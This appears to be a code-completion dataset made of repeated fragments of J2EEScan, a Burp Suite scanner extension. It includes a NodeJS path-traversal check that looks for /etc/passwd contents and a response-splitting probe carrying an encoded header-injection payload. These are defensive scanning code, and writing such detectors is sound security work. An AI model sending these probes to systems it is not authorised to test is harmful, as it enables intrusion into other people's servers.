private static final Pattern JETTY_PATTERN = Pattern.compile("><small>Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE);
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
/**
* Detect Jetty
*/
if (respBody != null && contentTypeResponse != null
&& (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) {
Matcher matcher = JETTY_PATTERN.matcher(respBody);
if (matcher.find()) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; |
String system = host.concat(Integer.toString(port));
String protocol = currentUrl.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// skip if the NodeJS has not been found on the system
// if (!IssuesHandler.isvulnerabilityFound(callbacks,
// "NodeJS detected",
// protocol,
// host)) {
// return issues;
//
// }
String currentPath = currentUrl.getFile();
URL urlToTest;
try {
if (currentPath.endsWith(".js")) {
String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length());
urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL));
byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(),
currentUrl.getPort(), isSSL, nodejstest);
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
String system = host.concat(Integer.toString(port));
String protocol = currentUrl.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// skip if the NodeJS has not been found on the system
// if (!IssuesHandler.isvulnerabilityFound(callbacks,
// "NodeJS detected",
// protocol,
// host)) {
// return issues;
//
// }
String currentPath = currentUrl.getFile();
URL urlToTest;
try {
if (currentPath.endsWith(".js")) {
String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length());
urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL));
byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(),
currentUrl.getPort(), isSSL, nodejstest);
| if (isEtcPasswdFile(response, helpers)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; |
String protocol = currentUrl.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// skip if the NodeJS has not been found on the system
// if (!IssuesHandler.isvulnerabilityFound(callbacks,
// "NodeJS detected",
// protocol,
// host)) {
// return issues;
//
// }
String currentPath = currentUrl.getFile();
URL urlToTest;
try {
if (currentPath.endsWith(".js")) {
String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length());
urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL));
byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(),
currentUrl.getPort(), isSSL, nodejstest);
if (isEtcPasswdFile(response, helpers)) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/NodeJSPathTraversal.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
String protocol = currentUrl.getProtocol();
Boolean isSSL = (protocol.equals("https"));
// skip if the NodeJS has not been found on the system
// if (!IssuesHandler.isvulnerabilityFound(callbacks,
// "NodeJS detected",
// protocol,
// host)) {
// return issues;
//
// }
String currentPath = currentUrl.getFile();
URL urlToTest;
try {
if (currentPath.endsWith(".js")) {
String fileName = currentPath.substring(currentPath.lastIndexOf('/') + 1, currentPath.length());
urlToTest = new URL(protocol, currentUrl.getHost(), currentUrl.getPort(), currentPath.replace(fileName, NODEJS_TRAVERSAL));
byte[] nodejstest = helpers.buildHttpRequest(urlToTest);
byte[] response = callbacks.makeHttpRequest(currentUrl.getHost(),
currentUrl.getPort(), isSSL, nodejstest);
if (isEtcPasswdFile(response, helpers)) {
| callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | package burp.j2ee.issues.impl;
/**
*
* Test for NodeJS Response Splitting
*
* Reference:
* https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
* http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
* http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
*
*/
public class NodeJSResponseSplitting implements IModule {
private static final String TITLE = "NodeJS Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
+ " of NodeJS. A Response Splitting vulnerability has been found.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf<br />"
+ "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/";
private static final String REMEDY = "Update the software with the last security patches";
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java
import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
package burp.j2ee.issues.impl;
/**
*
* Test for NodeJS Response Splitting
*
* Reference:
* https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
* http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
* http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
*
*/
public class NodeJSResponseSplitting implements IModule {
private static final String TITLE = "NodeJS Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
+ " of NodeJS. A Response Splitting vulnerability has been found.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf<br />"
+ "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/";
private static final String REMEDY = "Update the software with the last security patches";
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system | if (!IssuesHandler.isvulnerabilityFound(callbacks, |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | package burp.j2ee.issues.impl;
/**
*
* Test for NodeJS Response Splitting
*
* Reference:
* https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
* http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
* http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
*
*/
public class NodeJSResponseSplitting implements IModule {
private static final String TITLE = "NodeJS Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
+ " of NodeJS. A Response Splitting vulnerability has been found.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf<br />"
+ "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/";
private static final String REMEDY = "Update the software with the last security patches";
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"NodeJS detected",
protocol,
host)) {
return issues;
}
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
IResponseInfo respInfo = helpers.analyzeResponse(response);
| // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
